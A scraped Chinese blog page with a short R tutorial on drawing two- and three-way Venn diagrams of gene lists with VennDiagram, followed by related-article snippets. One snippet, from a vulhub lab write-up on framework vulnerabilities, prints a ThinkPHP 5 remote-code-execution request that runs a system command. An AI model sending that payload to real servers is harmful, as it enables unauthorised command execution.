R包:VennDiagram韦恩图

ops/2024/12/22 23:59:39/

在这里插入图片描述

加载R包

library(VennDiagram)

数据

# Prepare character vectors
v1 <- c("DKK1", "NPC1", "NAPG", "ERG", "VHL", "BTD", "MALL", "HAUS1")
v2 <- c("SMAD4", "DKK1", "ASXL3", "ERG", "CKLF", "TIAM1", "VHL", "BTD", "EMP1", "MALL", "PAX3")
v3 <- c("PAX3", "SMAD4", "DKK1", "MALL", "ERG", "CDKN2A", "DENR", "NPC1", "NAPG")# Create a list of vectors
vlist <- list(v1, v2, v3)
names(vlist) <- c("list1", "list2", "list3")

图1

venn.diagram(vlist[1:2], filename="Venn_2way.png",imagetype="png")

在这里插入图片描述

图2

venn.diagram(vlist, filename="Venn_3way.png",imagetype="png")

在这里插入图片描述

图3

venn.diagram(vlist,     filename="Venn_3way_more.png",imagetype="png",main="Venn diagram",sub="3-way",main.col="red",fill=c("lightgreen", "lightblue", "lightsalmon"),col=c("lightgreen", "lightblue", "lightsalmon"),cat.col=c("green", "blue", "salmon"))

在这里插入图片描述

参考

  • https://biocorecrg.github.io/CRG_RIntroduction/venn-diagram-function-from-venndiagram-package.html

http://www.ppmy.cn/ops/118240.html

相关文章

01_OpenCV图片读取与展示

import cv2 img cv2.imread(夕阳.jpg, 1) #cv2.imshow(image, img) #此行只能命令行处py文件执行&#xff0c;会弹出一个视频窗口 #cv2.waitKey (0)以下会在jupyter Lab控件中显示读取的图像 #bgr8转jpeg格式 import enum import cv2def bgr8_to_jpeg(value, quality75):ret…

框架漏洞(5-rce s2-057 CVE-2017-8046 CVE-2018-1273 Shiro-550)

5-rce 步骤一&#xff1a;环境部署 cd vulhub/thinkphp/5-rce docker-compose up -d 步骤二&#xff1a;输入系统命令: whoami /index.php?sindex/think\app/invokefunction&functioncall_user_func_array&vars[0]system&vars[1][]whoami 步骤三&#xff1a;写…

Python基础语句教学

Python是一种高级的编程语言&#xff0c;由Guido van Rossum于1991年创建。它以简单易读的语法和强大的功能而闻名&#xff0c;被广泛用于科学计算、Web开发、数据分析等领域。 Python的应用领域广泛&#xff0c;可以用于开发桌面应用程序、Web应用、游戏、数据分析、人工智能等…

在Docker中运行Tomcat:打造高效可移植的Java Web服务器

随着Docker的兴起&#xff0c;容器化技术已经成为现代软件开发和部署不可或缺的一部分。Tomcat作为Java EE的官方Servlet容器&#xff0c;广泛用于部署Java Web应用程序。将Tomcat与Docker结合使用&#xff0c;可以极大地提升应用的部署效率、可移植性和可扩展性。本文将引导您…

AI 文生图快速入门教程:让 Stable Diffusion 更易于上手

Stable Diffusion 是一个强大的 AI 图像生成工具&#xff0c;但它可能会消耗大量资源。在本指南中&#xff0c;我们将学习如何使用 AUTOMATIC1111 的 Stable Diffusion WebUI 来设置它。同时&#xff0c;我们将在 DigitalOcean GPU Droplet 云服务器上运行它&#xff0c;通过 H…

函数内部的 arguments 变量特性,属性,如何将他转换为数组

在JavaScript中&#xff0c;arguments 对象是一个类数组对象&#xff0c;它包含了传递给函数的所有参数。这个对象不是真正的数组&#xff0c;但它有一些与数组相似的特性。下面将介绍 arguments 对象的特性、属性以及如何将其转换为数组。 arguments 对象的特性 类数组对象&…

Goweb---Gorm操作数据库(二)

Gorm允许用户自己自定义钩子操作&#xff0c;使用这些钩子操作&#xff0c;可以在增删改查操作前进行相关的操作和检验&#xff0c;它会在创建、更新、查询、删除时自动被调用。如果任何回调返回错误&#xff0c;GORM 将停止后续的操作并回滚事务。 自定义钩子函数 package ma…

二维数组的使用

本章我将用自己的语言给大家翻译二维数组的使用&#xff0c;要是因为我阐述的不清晰&#xff0c;大家不懂的的可以直接在评论里问。 1.下标 二维数组的下标和一维数组没有多大的区别&#xff0c;唯一的区别就是&#xff0c;一维数组只有列&#xff0c;而二维数组还有行 一维数…